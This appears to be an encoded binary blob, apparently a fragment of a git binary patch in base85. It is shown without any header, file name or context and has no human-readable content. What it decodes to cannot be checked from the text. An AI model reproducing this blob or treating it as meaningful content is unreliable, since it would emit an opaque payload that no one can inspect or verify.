ziKOm+YO*c%BS9Z7c^GzAezQDn<Gq1o0^EUHIlh;W=~_!c0Y$R-EQZ2On8Q|S6wU#z
z$k+;fqg)8g+PO=#`Ind5sc96`eKcQQB#F7Ge!2}Bisn*dOOi$A3m9}d1T24D!DTfU
zOGb)>Hs5w<VMWeMo}dGRDqCve%EGjTjRf>)MGlyIx^p1o>>s?^L~gtHn6vC&nb$b5
zAV&q~#ST<F4vAB+)o~#+152~Ubl0X7o7q>wh$u;~*M8SB7b|8o5zUSKMJy5Tih3^s
zFd}45)CX`G4MXy#i21?IvNh^q%0+N@rC_)rF2{*m4~3+Hgiak6=eQ#M$W0FkMn%xU
zkc}wjSS79wSr&vYp8)AdbFr>{M6{5+{*^U1WJ+v+Rcq|RgZtU6B_-m?uB&Qh6>=<Z
zW7zq0g@&r`3&%vR(}aZ>zZnrQ8QYSI!m!1Gnck-6T;8+hD2T+bV@+C#Tl7%dE9nj$
z^fzmO7D<#Ik?85@tgq|D(|@2=k?wF?knABwGKf&l+UuD_kVV)Ju>e4+777hbjr-Iw
zBt*rfGON|sU{hl`f*mx->~jfo`CR~0Es!>98Su#G$JmN43g+hKPeaAcR^_>B<4i|&
zqO-#>w7)h|0xBk@W0bL$-PE~FGmQd#i4(*FU7?)yel`@%<!+n8W#<xg9Z%q>qA43B
zLN5NMlm^aF3tiWX9}rV2oXPLP`%UCw#8sIQXQkl5Kpx+@)aB63njj8OLR4rmrKm6i
zOIm|tDhf552t{1izRH43$ecysGxi8HD7=eRxrF9w%wq3nLBTGNVGy3Y=Ru`BA<g>}
z95BKtlP7Auv_@4$g#a~JgVmo-YeBZOzLSTFrB}*VIdLt*tmod6>hUt+?#~o0`~*B~
z*k^8Prne=OC+Vsn+e}V6&}c1zU1$9@?50reKqlEE@t66Kcv@`ANET|fDNlSa=)PKZ
z;!=gQNUpG`Kk%ie9b^DBSy;BUa)wiS0d-<@i4qz`IUf%7ps5~DA|wtqk@gfXXAjGz
zsZ0V?on8o6@#3&Bq=L&rzqLYzQETy3zX)ikBy0cwA?+K3D^a&LyQ7Y6+qRwT*tTsu
z9ox2T+crBkI!VXsIGOahcjh~1W~%0^xqo(Q|JYTjTI*Tw;`4lSe+2mvR_0QjU<v%-
z#3{H^X^5`Lvb!)ew1?<74aHg=4c>g>M#l;<nWbRv%4`80lAjf}y9hq?e1p|LY&LwH
z;*|bgDqwP(Q1HwYd<}?y54?U?BG!klQ}U6XoEy^mT+IG?v+u+C4(3}C@rAcILUPEs
zy%k$CO`(a_LRb#1sWqd-nUgnc9mFJOB*jUd4ilvFT}t4$Vy(8#bBnN)FY(W#l&FJ*
zWI1sh-9C97yb&^|Gt&M?Xx@r_QPNJh#7l_|!3~K=SA}0}uO=I^Gyyr8O;dcUT-0+z
z+;fHdUwB1N7-F15jjfmL>0SgQXnztFMSz|GswR)nahHY!?LmbeP7UJB7KRKq0L@$z
zy^DP5qD$@VW+U?BC-;jwygq_xlENXh$&mAtj4EDa5ezTfVX4QpLDhra)R*4r$MZwV
z25qz|v*E28l}6bVL2ktvqG-#Z%C8Phv`eA5+FBFq;T-C$#8Gpx{ncSQ+FE2w_0qU)
zay8>^%ZGN3=Rd7QQyFVd*KkA)BojM2y^tq+k=uhV;c>1Pdwy^7XlK1mfO_1FBa=*Z
zL)kPJ?<;v5=-QgX@qjJ4{DySuRD8{HLOFu`l?lQe-kOcvlB;@<oEdqInp5z`>xne<
zvHC-TLEGymO*-TQ{j!m*^8?4+N<ti5t-V>ovl+kpOJsW?YFpX*m@BJa#jQP&;)4K|
zHg|EDzP+*#PMPOZ`qq2j!#$nuHeD?*p74xg)h-;+#_Hp=((K)hwlA&oN6_1a9J>{9
zg5Q$+ElB^<Ddh){_%~e%@j{WyM3sbI{#;wrL1^2eQ@8K4AdF@}sOjGYk@T3q29fIJ
zLA-v14WP{UW3nVKevkW*bl~D$z$u_*LL~)MX5Mu>>d-(Ylue0OXlp8G%}}|;8P_C}
zvZ~FQF(Zdbvj%JQ=W;l@Dp#Y~%`5|O0t6!Ic(<Q9Jh`LR4kiI~Bgta^0gJd3%!>(H
zjr3?kih$)n_D3tCxK!h#i_EFpA0`UMIc-!H&<x(;``O$&{7Jg26+eh1UA`uem{_p7
zTss=3gp+lP-yA`0Z4RLlL20H`Y}B_=nPU<KMz&r^4+1FY=21@SdniXy4PloI;lJZB
zwVe``CSpmpj|M@|_M-Ziju5v7Y6^KsXskw)M-ef1pu7%YqJuBBcL)0mtTSL@Hw)E9
zDbC}4rs2+4i`iM6?!PEn@cf0QSXgZH+7gcTXK_`e2F;X=4(`>+20|A)sfADr-1u_w
zO=Ncl2DJzWGOzMtL4aAoMs^`_g?4w?H$vo*ov?#(D{0c~L55-kaD&OzTr*qwBGa0q
z%iH%~<gvU!KDRit+RMSPXjVfm1PHD<z)FTTZ8Fd^9%-4(6rpuQ2k~3_XgdfFEfUAi
zQ;7<|#}Sw((4SA*1fnT_1`Mj;V8#+pt)=!=qGQo8pfko161c)|e0u@GskK}w+XaI$
z(v#}-9rjlopx*5ld`2<whyB^T=%8!y*h^uM%yKU<5eWy6H7Pctn^zW($dV?qR?gLp
z#uT0BR6EEOU5}(V-inS%F)%4F8lG4O4C6qSJc^Zw_=*v(KF3v`?@F#Z8L9(>XaZrC
z&_9{a(s$l7<jz+Xf1MaN6z-K|)v~Y2hBI^q#2tJSQvbehG<h?OJ#MT%ZoDx}HE#UK
z<qrw|4liFz0XadlY1Sv9i;1!z@5BAAC|RV;Sl$A49IoO%M(v2Vd@$EDkVG_t5OSU_
z%pMsHf?PZwPO6|8Aiu!mNn_zpM}nHY*%$+C=vT#45b;)Om^dQGD<(UmhnWQYnqU8f
z@Hi~*jEsh+r`LjS>SI6dLxRnAgNi(+IcCzL*WF2j<qT@35<NjpU8|-iiITrVgB+@8
zMySpg*3-i7k;dFBu%aVLpwex^*!!#8q9Q%#XKK3<w6SR|fNprV1&CTLWjK>!n3nJf
zpAV{}6KCkgF%>YQ(uNjsn6*0Ua44+exkPxr5+Hm1jk0l%bi=A`nQ%pRplBEMre0lT
zbYol**$7o~TCMTAbQezs0TcCxm1==~Hy3YS=-j^O9=LSBmOZ!)S?sc$CtEc4V4j&)
zk<Q(LLwdgSXDLLnyrJe^1xXb(A-fsgFL0G73-2lO#pYG2vzXlKU%1E6i!Z+g=4D=H
zc^v?pEgj#T?(Pyj{1eFt;Cg8;g(5ofpbpV$m2d|kpG36CdLqwn1P0A%NZ=@(r^u>R
zb458SV3y@K-ihABlv+a<lk7E{&kG@4V<Bxx!(2-lcg@_PVC^wk3S(t+gy$&wNgh=)
z=fwL83W+4b2$j>~etq%h;G{6ehf%7h#8jti4A7G#x|h`#eM6X(ED%3T`6-}#$gY8F
zaQ>9e#F@7Ji#-q&x~aIXb~o2R4jctmuJ~b27wQeCY6hfw*&aj{T1x-6iPL)=H*=lk
z1^uj9WvXIRpzHt~)fg_Sz#5tn4Ny_Bbt++KA5-;1z^Zv0hHRApcxo!Q6AfjYThJ{_
z61k(X(sul;$I@U18BMrc8cM~i?XDiAIHwcKMsO^Z$t^ph-w|38jK<n2((oj#Qu3@%
z%OPxJl%zYF^ohOw5a|H&bIrpG5-)yc$K;9HCS}I3<`oP#c6*TEiH4g<w^#B;q?1s$
zzv5=yP21<2?davM^b@1Z*yVnsR}kkk9=LWlrO6mxIOUTegX+6d<LI(*hL?6_EFY5P
z!Hh_am(bmWZfMj^N`GvR0xerOAthUe9TzVkZI@)+%Qd#3tv1DBPscwqKd2qCiS%ba
zl<VHDmXxr?JPbs=1C>B>0-_Vzg$Ww!*RuhhgZ@(y6kh~_5+hgZz!G!OUGqkZ6}oYD
zSrj@X+dRR_{5dL_y?Mo}%;HZqjkXiwA{92@=2`_cqQD!<Zycg8cag8_nUQC`J@9C+
zKF|-EWqH9W6wtL5$&9P@@ze2C3&#@sln&Wz%*idB=30Hxs<m+E&N?Nkl7_|^5zrgw
zO`bRzlv)70sbbIF2TsaSI=3*dSnU1^>1><~xBk<Wh*jstgc+RgIsmR!WgMLm;D!2u
z%QC``uOv4y;G=959Ul-A2RU<+w-2KW=y6CZy9g4cr(xG%4motOa<qwxB;2E5`P6mD
zy2N6Jb@i+IXleJi5-=TCB%JcOxpY(w^mq7KwTiqr!$Rr}$F*Hi5kdICPKijahHfkK
zPcCbH#s%@tI+B7<!O?okfY{=S3JVIQB_(O~{8VwbGxFc;a=Z2>R9|saeZGR?5Q>o>
z3mmcxr3#4t93*?>iZ`yABF2YukpsO!lu^yzvcHpST<`jA<-Qfe1MPX9P$imC(A^(5
z+>|&4_A4eY<#bi5W|M6^sM-HUlncUclYQw1Oy|LVOI<@&e42Oh*B$4juzA;VnrP05
zY}ZelqrsIyTeH4yil}#uH5KV^l3U&&r^ujKRTs^Qzhi#zCbHOJje*QSv-1pHxe@<#
z<2JjQ95j%HsD7C2N0p^8z@>BX9Jfm_WxcpbG~_$)*xpy<)D({&DJ92NF|i>WxFE{n
zC}s2!RaRO$?yKyBi%(l9&&Ta;oi7a`d=%Aapx93yxMpq2!i<(nTH#k#bd$}eR3z>8
zFG$Wqqj*cu1*;m59sUBrRW)^^6^~>xZ;<yzS9zboBH7P!R1*|;2<*zYAN;Uu3ZyH9
z3n{$^F6h?{V`HViS^_;duRvIC;?J2qc?mSMU03Rqk^8@9Zhx=X|5?kU#~zkue2!v#
zK9BJ9{)2w}Cl{ZJzLm4FqlvA9sJXF~(VrUyV<Y3g{{BtHw@G2b;<G!><7&bvP0D0)
zhF);(CxJ>T;eiC7wqqiNuMaKggxV)vbX2UE*KSezE6(Z-8O?_uRlsidTdM7qs(*`S
z-*<odo#N>##iI?h`}3O#)h}4B+k!YPgw%jmp<}S$8fgSCxmn&FxAFWPfil~xa^#xO
zNoiM;eeOpKPY-Z-5L43D&e#664{keN$)$A?F&qrE6OB_68|>l=M;sKHOavIGi$$Vj
z-YG}p(O_#1ws!ej6@%n+muNaxT|Wr&=3I$LCsX3P#C=BJqd1xS2Z2*0LL{COU+C)P
zu}}Hk?j*8QXo883T39mXmdwYw_aH}tCWXx|)h4=amB6X9T^CrpZ!QgZ`n8_d1>AV=
zlfmz~jSe4uD<fvtT#<5anrU6<x(qbwhO8&^QFd{6cRr#dR<c;1EDx2ZL0_oG_Il!G
ziYvc|l#bDT1D`O{6Ro9a!6XbT-H6U~?6(RlUlg&F&GrGyQqFJAlt#es<_GM3<0EMe
zKIKOlQX}6cY4;PcU$kp*pv|K~SDmz;l+0`2(Vl$&>t6Wp?(k1XK?J%47W$mm=|lc!
zM=bwqEc?G7v8c!^{t=d=trcIfA)xg`wK^>)CxC!yTtO`*FRX$A(<mwu)wr*3gNex4
zZ0(TOz{`}+$&~jEv2_;BGXwx$j$<6ST^j_6>)=L>es6g8@Emy^WqMw&zCJC}^?Xeo
zCZi0#Dh^Lj6WfUl7eU@@otNBEhR})Fr$K?xQk5T!4{wo=pEv|jQQGL80@;c?bwyH>
z-boH$S4()rf!GS$=Q-)Z9(jQl*L6c}Sq?nXtaj{h3-Y63z@}@B#<L?++jkKnFQdz*
zecSzz(_=SjZ^Cq?B$+^fW+GXx`01XNkwIwN@uU1u>5#oEiA`Jf0C>6S&1;iUd!hLz
z$a{e!c*S_4&fh&a=`OD;vH7ut+tzVj7lxZL154NNn4%R0vRb#ilGy^Qzhj8aO7Je;
zQlUDNvDg{pH%LaZ?4^xE%(5_kXT^GP={F@9u&QJBeyWv?2hfv5Sgd2S4##qS*QuKE
z+_iW;`j~oBno-^^YNeDF6ZEsk^t>8Mf5B6enWB-88JCRgov&@~9>itmfVFH}`>ugD
z_Pr`5OO*JH0vIDy9uZEl#(W{hS--3c7&htMmjXqmgaoC>b2%w-dztWC1u3S|3Y!6@
zAr{H(Nh3*g(;``zgw%Px9UJTiX0Ol~bXr_SIvCR{|GOa!8Ej~`I{j6Y-LYjX`&3Ly
zc>9fIxuIe(C{5&xN`#RSOe-tKgUA_H3ZsIHHb%)CJvjzUmR%4qIOt_2)<JJbK>q2x
zKvcNv47#D*F!Th0Y%~~}GsWoU{M>nx6v2eu+bnK|nxw2)vrxdvbd=e9Z6(yAZRdB|
zDZYf(eK0DRb(7Y`ac4tA$y9+7)|KkP*c14lzQ2Pn8WYC?Y|s(w=|-c)06d%HNdCeL
zzF+cdAkr!|n%Zep%skN*KI+#yh!}Kgph7Nw2$y&?3(OIa4EVu{!%I}^547Nhk2B&(
z>X2M0p6oSfu^`!iBxmVfale1hmj$s=jL@g<+R|BpZQBuf?#(Wwb4L@Umx3F(-Tj5^
z<bG*Z4Q~>QJ0RIeS&-q=%TL-8Q7xr%=@Xf~o%b5K5|g((LHtq}{{AKW9lrgYLllB3
z-NX&l96wY1fjTpaNGLg;6l+dNtRrMtiIlA_;*rU{TUhD?68L$UK(^StWh7y3UtEOS
zA$b5~l`&I<*C4TAQGt<<;I~-}A*sMy#%$A)Qm9r%{fNkL4<cs54|jiIceJimoKi0K
zW?*SP8UJK&hb`H?JJ|SVN9HkcVKRn|TXbNWatcfrdiDzLJ~<AiN+VbMy*a<ko*~dT
zF6z_m5Wgw5F?-q#dX9vrIy)EM@ir;nB^{`T+(@WaF=dV7KqHYvBcPPu3T={Q<cwWX
ztgaft!?36YxDGOGP4u7g<*8BZ%9A3Ql(c|MN*y?k4sw-~bC}3EcEQWw(V2?lBB4^f
ztYHyMzTVO8KV9p8gsJ~^w)BT&WKym5T;}tYEBV~K75)!ix=%(P0V}J2b*sBnrW8JD
z^xjPxjKu39#rXH}DCGl6BfjH9h#G)|ffV-6&#%`;>f5hIbzn()Bjxl~WPhou@BGE}
z2*m5J{C;P}4}XP74Y!(oa`E(hnw_2I^?rQ;{9RxpN(i8fJ=L0@#}^I$jELT=2c*hC
z%r}5pEq)uSWXf{D9BI)y4Uf}=O*P6S%*gYAv6$aMj;=ADOk`p~1=Zg%f@U?3P1!-(
za_Kk|e+yHDNv+PSKlvlm-<s)|WCTHH?q@fh7@vwuS9o8=h8AM*xe8^nVw{8BD!sNW
zy5H$qw|tY-awAQ_adoAgsl2Gn@>fS_Ystd;A?gP&2C~<59J5vdKe8b0AM~OH{`;EH
zbWDfF?~zzdz4cM`hu_+sHyonWXB_;WdXc<HmgxyF=xBrvJzT)@Un}Cb2nWOp9zh&x
zVe9h>e>GjeBHLSj6&lGdlmC<)3E$%ri+8x`w_tL5Z@Z=|&&c3w3fMLq7(1fS@j%mH
zZ{hIU&{jh=fp5o2g=>8>N>>#^#Dv7OVI2Hf6+RG<4rt^(KMQ=jde)V`OR?I&wV7fX
z3M4t*Y=`+(@3d?WPs17BIyBoIr22_RL4O73&oabcqHv#;)H%^EM88$wnX_1Ki6IIj
z`1Ku@m85}5_g9H1gXFqR$k<i;RVluw1>m8<89K=Ok~`~`&o$d-iAID19v4oFFuig-
zIAKB}=4fys{R-H<kNe4Yd4nj}<diLEdh&Pj=7Bg(IgP!qC^uaHx4@-R8Fq1-XIooy
z3p1Pa{)Yu%Z*S;@v|!nv**gf`VkEyt&zkSK`^|}u!wR7Sw<Lpzad4iS=O^*U#8|b}
zKs~Y2*N?H1B#N*?%qo|0W}{`|p+oF5I}i41?iMYGM?C3tGy-lQrO&23g>kC|r^>rd
znMIl@el$jt4^TOc#SLE}Os$$pNQ*4PYXY?T0+#uD3K!Wx3WNJ(CFG31Fc`x_7=w!&
zqrZ)_Y{-e)DUJmf-U!#_+;9kN$&2d;WMez;Dv7yg-tY=39hPF56J`veWRg^bI~JaA
z)H?5SKP_8h)ZfQ8gT@WIHd?gi<~?9x&;~cP3HMCwj`DvSV>-yr^+gpQv<ox}Kaj`7
z!IDI1GdU=z)BS_rzoYb@3CJY3k&)GBraJL?N&BB{hbg(+8UO2^+wuQ$N~<6#Ilzye
zNmm6^RaJE_uZt#d1v*uPuZECEsS*yixYcqJZzJv^8ISs=o(%%$@c;<Z)qwMNqtJ2b
zwslEO3w(R@@&=Y05QU|nURSHDlOPviRO+{#pjQy(W0r+*5+`Slj5f&IZ@vm~D7KmE
zw#`wZ5&S7;j)I4j?4se#fEZ2Jc(gH;H?QN}A}z)yrHU9%Q*`)){&@6C$H~iNoMzu4
zc87hdXUu6s5h2gvgE<zPBYlzG)9DcZr(dkC1<gP(UA|cTRkN|+3<B`(@4|honf(<I
zOYaeuJSPLg*HH}e<<@QoOj7W`3sU9gcd=3=1%U&SdmnFD0$0=EJgOPx`KG&p>h#dt
zQ9@J0EW5XvDsZ#~&Mm1{Je8vD#lFOgmB68zZ}^o2Q5eI}wy0Lw<WD$W(~ORznM0|o
z>%L!kVpyJxjyw~Ak==B%$>~Gf^|+JjdLK|xN1jO%(I*T`Aj8kH4YY)Q|FtOecccE(
z+=Dmahw7i<I_@)EtNjPzTG_^0-^tL-*hs*^)cFrr`2Uf2PN;l_@UE;tDR6=KP(t1U
z|6l;NFfvQ1!55g|kejR4hO|3~fP}Qnv@pQiSKomwOKo_(qgDkpAAhPI;YwT~aEMlZ
z)RXFNMdwo$X;)dF*Y`WnUU1wHgaH=N0)4HKD0;6}3{hlrP(ytXd#XTtj%}L(9H~G%
zw!la&*>Qad4~4Tve@|$6zzQduO5pi%a$9DWkscHDImU#OmQ6d=26;sCGE$ET6(3+3
z-QTditYaVAaV*mqO-W~OEnN<#LT+}-KNGN|JXIg`OCx!=ltjCMSxA*hrEYY}ONLE^
zvt>HR@yE_V&+!^^@`a{8xKU-N-f=9g<KbR;ZOUW0fEc%_d0}jVjD~98_l{yN=#i8u
zLRWDCpMKiJh<>LM9kcuc1sdqMN^?jqL%R`#gN{bsJ|0gpai&J|^=xRi-<v34zH=0#
z4jF3$^e;V|v>ojNPFkM7TUIw{<s=QH;V_~vtR5!jRVF;KvPROAqLBnn^L6OkG@B`c
z@iH&88^$yozQq%ja8(1)tU)k5FmrhzZ6BPbZ{nBfLDfN-oCs04_1rx42p`Ub+~z3P
z(^HoYC&HH)wBo-aIPIbj>{{1DtpB7VA)<)F4^cm1Bn$Z(Ts=(eI?*17*6hVCo6+b(
zjM(WxN~qQ=RL<@XP%G3V?%Q!hMAQz~!yvwz>&xK_PJ4@|waY*YqB`TOf3(>-=4GPC
zUVHj^T*d5?R1H^c-f!;_91;?2Rzi{yb4qL4*s(=ph!H&7xh`e{?5hwhphF44G!rXv
z;jqan@S{a?@hiZWgge<v=<4+sXVH_X-Dp$uuU}HET*dau-8>A>fpb$)?63<P;#7Fi
zy|S$5a+n<uY57e#CPlt_wLrh89XVwTW3k~s!jX)~-rIMGr@v$;<$_E$Oz(1wh>hc>
zlaK%+j_^+L9-+4r`rxiq;Y)Kx;$Kcjdw#@?SRB-0x<hxh@)x3wMK8t@6L@D&`p}*8
zvz)(JtR+fec`5iI!dd4!UlH{$p0R-st#9R%;Kr?ht+Cma`omIC$dR3RW)&()E0mK`
zhya1Pip7hC$4VMiTv_iSzY2hs`{&W@-;la5_41=A(Q8%hL%xY}pHj*!V3Scve6Y#n
zB~f-qznH!KMfvu35dRb23xW|dk)P4r{xh00{6FFS$$DT#_it7=$A6_>N%Gosz@Lo-
z!<J1A8f7JOZyvG4S_JQk&{#3zA)z9;sFV{-OUtt*pGUgauXH+{v2ItuujKZonh3i?
zQjDe-Z4cR=q_^+a&tSR1BuM5`rgDr70jtpCV3c4#(dXBzk3_kk*Cd*TaxY(w{Pin$
zJ@(kUFG6<`U5Ocjf^8jF_xvjMzLo(}Y({Ihu7F4Ocx-ebC7+}BJ)-+Hmh0d6)$9)>
zEN32yc68KCM}ND)hkxyp(=vB@qG=&6X*NNYbM4Z$W~!B&dP^embF}X>#As@b90My@
z(_-5D{R80=rZP>M57x?lryT!*#Y-s6SRcP&@>?A}ea;XNDux1@R<KgX@0b?)gPzSS
zr}qA6A35&<;joO<ML3)o;@@qUO!p%N71maSB6vkh@YXjF!TRCN;28QA_n>DK;u%iq
zf&37hZ@<7d>)#0bv3Kc38Cc=jB|-co^v&)u)_86XxelN__~`Gx9j_4`HVLz39aEE~
z5BcETe9qvN<$6I5$r3oLO3x`R6~jvQ$o@Rse>dnqO>NQ3@V)HQ)M=m5obA77Y9T9I
zLrYP8!%vk5cVdQr8(d*s;(#BXho>cyp<~*u=WGZopHNhL8(9EsD9HXnAGL2Jd&R`V
zYC))k=u!1KKX>QbqkKeCDSkL3*u1hfM~Td#)AmPC8*ptj1{z5uSE^myKx+hHH^<|}
zPDnrwbdfZMc*js|jxM_%`Qlxi-f_i**sHiqM*r)+v`Er>J8UcGj%e{qi9uhp(d5os
zG@-sl_()yuc}+WO-V7JF8HDZ$eWHBo@O?9$8PV&Y#Nl!xtc;7hUK2--_9p(DoLX?v
zQ&9D)Feb5EMvlF%z2KX5vxr{V#zL(AptXV7@P5np2bB7sQH2Zg3aL{UWUGYoEqO>t
zq1tJjir!DY6DJ@>zhscfaTHU$^);VI`wBxSq&&$BLiF39nugu2hRm1Ng+P^qf5>`H
z$+@3{4`{h2(?8}c8rrqSb9bQsI9eE&d+BWOLurpDfe)>=$kuW2ccC@r6%nm#b%Svc
z7l-X?Os?O<<<{r|eCf`OA(Vu1C#*r>d{gNbxwyi7ihz4O1o#+dJigfu*2q1EzEbP-
z@&{uM%AtlZ#47_Bf@>1n0%-}o$NxHh{JYKn%NzbMq>f!gL&ko3L;t5Y@c%cx!Ql_(
ziJgP7<DZO;_^&>rqVd1?ezO!OBnIT*c@|WeRj@R-XUetBKn<_!<m?qu0`sAYUe?{p
zT81~`8;5$XG_^u^`r)n$2HWJ({IP`ebU2QTOj0|2JG;NGhzyB>-40lxS{c=u>8}c=
z#o~bX&_OuKh`BlokKWrTE3J~AF*~ieh^V@?%-=hARQWewci=29<T<_Y9CqBxeJg?6
zloO4c?;}`<QOflg34FT;d5t0^P+Vr)kk88la-Zw59lO$K^r}Y2T0`<t3>-h$9*Q(i
zp<iTn)EdJj@WlmTtb8F1C+^{R_QguVs}q8v3hW?GAbzx<!R5QJwU&yiO%V&w(>?Jy
z9%C~8t@sSH@+;JD)DYx}J6J!%>_<Q5F8)(8c(lB;cVFg&3cy2aO?;LsXQy3V;Cx#v
z@u|MS>%{yDqJJ;cw%=`p!O<amFJ$EBv)L;k6}z?~V@6C_H`XVd!O+SvQs4psG#Vyb
z-cHVdrndi}r5~bT0Ze<->+9PTtuI0Miaqm?1~OnFHOw<LD$S9+p3Wh$4{>-^7Ture
z4&qNN_`8k&Y5nn!1he{2>$`qhU+}+YeWOn`7pG4?H#$*$M<?OWFP|MmM`H(K#(#x{
zq6BS8ECJ-;ZSf`HW%T98Ik*MNp$OqV7(#GLLbaeE@}NY1x{*zLrV|sgNtwX+tSz^N
z44o#oUAQZN_>7fcSr;?ZK-xnV(@Z8u$IGMB#}_@k3|j0?`)f?w2{pQcX*tg1GG;Pp
z86q<mip(-Gdg^9l%4*R7%RIi@)4)s(%^>a*2b!wv)aaA3$UMZtvRPAz8AgGd!YZe;
zTLL)Gepw~#3Fc<|p34vkC|@I^J-`My(YOAdowO&hJ*4HdSxrv>G!vTwF#<4DX|G@S
z!4zBY!Z7kmL9V&_fEGQrYye^O*^QC#gYGdpu20v&fH>bqH0Ft%mKarX&gJ^~t)@&C
zkL-Z3vC~cwJr7FKb+<o8BIU|=K$7$VXRu!Q`Tp`ILwaQ@rq0_oyB9~M#=wA_(dv>w
zMG$KE9l=@&e*i69Fyj=gxMoRX*E`giX*aJW%cp+aS4U=DEYn^Q60*eF@8#Mfgq;va
zP>0AA9?o>n(N9^=w#XMdi@vd{uOTa=VHx`yJ;HF3rH8_B6N9vRBsKMNJjRLb=_yUY
zs>nFcN#ETuo5tesJDs=t{*@T~-4FihA+5hN$Z<ZsBjJ+^R`Eac5FuMTcX?-9Cu5_3
zY65){!G4M#AitZmpC#9WLn=qOiqPO!s&;;dRAG?r#R5aZlNxcMt}t#{#ewF1+S8TW
zUUZ9+U?$Z-!h8MtPAs^{)PZtIx5V1vSiSA#IDK-ra0G|<^=zmPIlZn6L)=L5Silz2
zdnHfzO#^2(-cbLOG##2o^;J)_ltEQR0-9>LCj7L&47}z{s=W7pTnPGS?P=RDa3Ri@
zjt<lCzR@R=v02s&kDJA_Nn?ymv=l0ZfhQ69G(^9O`}R4x1sk#MOx-SfmnGGDVL8FE
z8yGOIOLxXmWnpxQa1Ne}Z^i&65qk|zlpd{Oocs2Na>YB~lS#^!y+m@=Hl}$Dq&!ZU
zaSVh&#^ZOKoauO{fm8w^!ga^Eyt48F3>y=y6-)AJN#uAWl#`@Ew)L2%a2kne3bJvo
z{g7%0Z(H)3G<5xL=8@hT;i(_-81h8L15t7XOlYTx=$s$Ii7t?DtGQyzVoKhWo<D1Z
zA*@6vwe2J=(({}Z!uFaV<g3_NSupY<+cZud(}ur`HtHMZL?LTXL$9sG0HeaLu?GUP
z2Gd*Z(?_qchwDQTK_h)MJwUgCU3C`__k^K}Vu)g;rC(^z)s(y~bL9ERnU1#)G8Ztz
zR=m%{8Ym`HUM3MsOIniu2*bY$Xty!C#oVNpiO^FT@`z^aFNzfUkjXNsk8?C6+LWGh
zQk`ST9q}s!;bGMntB)*9*trAM@L2V%-RgGTu@yTsD|leUnY1kk+ZG7l7U5b|8QxWk
zmcfr_rY540?nZa|R<+iTbStS=+<fJU5RBuQLa(CloH=$EEnbg|7+|t?<_)DIv_~L1
zZ!%okM-HuFUXddOr)L`3s4S#tpaUqH!kqN6roa5yX*aGn)#Wvc<dln)4=|nt1kHAW
zImtf~HC~U5UXiU#=H!R)3E}xh54?g#-=?4weX#omNxnJ{eqh^A=H_J6ss$#DV8%;L
zd7emtRt~ivXM$Fa1eaQXS^y*$zXP%Af6}n63ARZeleXau6Czq6tgiyKqmGW(v6L^e
zI?b-3D4Uutj+<yapi?{}&F37b{)yjz$KXHFseSe3Q!n<*m!8k6T=qXh=fC7h{x@W*
zXxd_ld?IscOWT%}twhE?LlF4u8FQIA#Mg8=#LQx=j9~sX5J*3nvnrmUYtfEV$}0te
z>u=A&l(=$1$RfWaN$e_kuYeyh64`Y4Ln8v$98AtRB^J8%klp_foZVziMBePbaq)dY
z7wQva8%8|tr$QaRE)QD1YJbLVp!X9G>dGtJm+(-;ky1|`)<ji5pqbnW^h*HSG6~g9
zv?&_x#Rl_MP%(DPBuKWemux)f%Ac6!A*;CXvbO$lKNJ1~l3<LZ2A@*0KgD7j#86)y
z3|bpzYG@WMPxCpl&!t>>c}7(jzSYUcWBOK-qmCBRm`(Lsf<&FB%=t{AdgsZe8g*Qv
zTC6!w%h9oc5Zu(P0spo4KE&lYTaVs&wimro>NodcLp3u-wb5EA6N9U`7Aj0qXKCw?
ze78_#kTwFKgQ~E=3(?ewGt^H0;Q0y}_HYQQSvuLy(M$`hYr^z|^Q-(oC~013Pu!7s
zLQtJ4I$`a#q12U1&&9wyq%y@ombyCX2>rA~WBUM1$ttL_`V^5OQ5!BaA^FF<NHyEv
z+Pb&lH-s!6<yG-q>MVW^We9^Bk@2ZXl!DtbKL)}(qKIYIj|FP{IIv9VZFg|6pi*0|
zX}6ea&GxCMSJeb_qKrwpY6{`(wt7QYdHchouyq)(>Y`-r`o8Pgy|>I6jkfGsu17q{
zG1rdMZ^{IPL`#)Qc0E93m8g-hIhBjJ617V%Mr8wzLNJ95RTK*H(8l|7V6kjLrQNri
zZL(#A36utGCiL2<h1l?ie}#=6{FtH-P{9`hW2z?}lO^*b^V+`6APdWF#$+z|ZHi6y
z(rSLOIh;wEBtFDkkRhrWtYp#>CqdozvL`n!{JmH!D4!AM<ua(4YfC1@E*AI1#^YyL
zNxE&k!JTA&Oe_y^7Dx$Su3_pX5Z2ZQ&!hC3L*el{Xw+a1{E@5vb<Uiuny(O!XB}K9
z@nLdYBOb7H2~i_u;D}A5*9qiqk1+4qu=&KuSMJSPBQ^wpe{7XgC9Jg;UKJ6mP2t`$
zefqrOuru_m2Ec1WDy=0?H=sLgFokp7%Z?34k!+Y$p%9~oA5(Pv74?qbTZi>jRx>h9
zkuPw^E=k@dy0w9`TFV@R4eMqMwC^`wFLL80{pC3fl2Q?f>OG3_6IJwAHm95IxC3AO
zsgFVY4=D9_Hc>O*#E$@RA2@d(ypl)YNlVOWbB0PY`_}Ym#`B8wAebs(Rc0(*v(47>
z`yDEpFzG5f%B>@%ZUM>{rbSI8_js_fucRs(=t(uoYc$*uNBIu6`rtEwsr7y+H~FUI
zLg@NAVJrRA&O!YhPT07@0wi5UB2S1miL@wD23UZQ{+3XDofG$5Ml=~jUP{gCBZWqi
zF7K7teiJalLqOC5D%Y05h<zYosX902xsGW1l6T>Dka~E{J0L9xslkr2p7{gxPxShG
zjQVHvq8LNpBK&MPaDPUy|2H$}UrmSqGy8NfxA{COCjP^B{aK(IJ4l&-e(3*uAXJqg
zX}iD=Kk|XaWxt<FDlKGA5rYg#d@_)-<qtm!PZ9qkUm@src$E~3!{q=l6td?JB51b*
ze3b{^;F2hz%#Nad>V9@+Yhvo^`|<Py)e8|VjeOk-jWY%L`)aVa+s_m%n<>!*_@cz$
zkHe@l(N9W;;h3g`2Y)w^D80O$5x(TaiaZ~R_ijwlRVd~K7+2hwF4KcCjzMTD?JCqW
zEL2OJ?}AC~4Ie&k|CSvU+5T7X+{#bK3+ce~ko`L7VTo)hYr4q5EYkTF05?KdCPc@`
z{s9ffB@qU^?FVW1gk0zNLoKa=hG1Pa`0!YufMwGQw51m>THi6D5xYg3qR)_Zj^a35
znkLHjRF}Fz$jdmEv+_5Ifx8<8VQ9^YWrPjQK_+GudGtxw9Bu|#BlJNq4I^Lhg;6A)
zvh=0ax-P?@S~<~me?Jyr9H?*X%yxrUy6d9foVyAdc9q;922R(F*kv0uV<V=ZX@xp`
zn>T!1a2FSc%T*L=ZVe4q^41?}TwHDC3DWO?!gHmVf0cLLaWZ2Xryi8WE(!VZ_MUlt
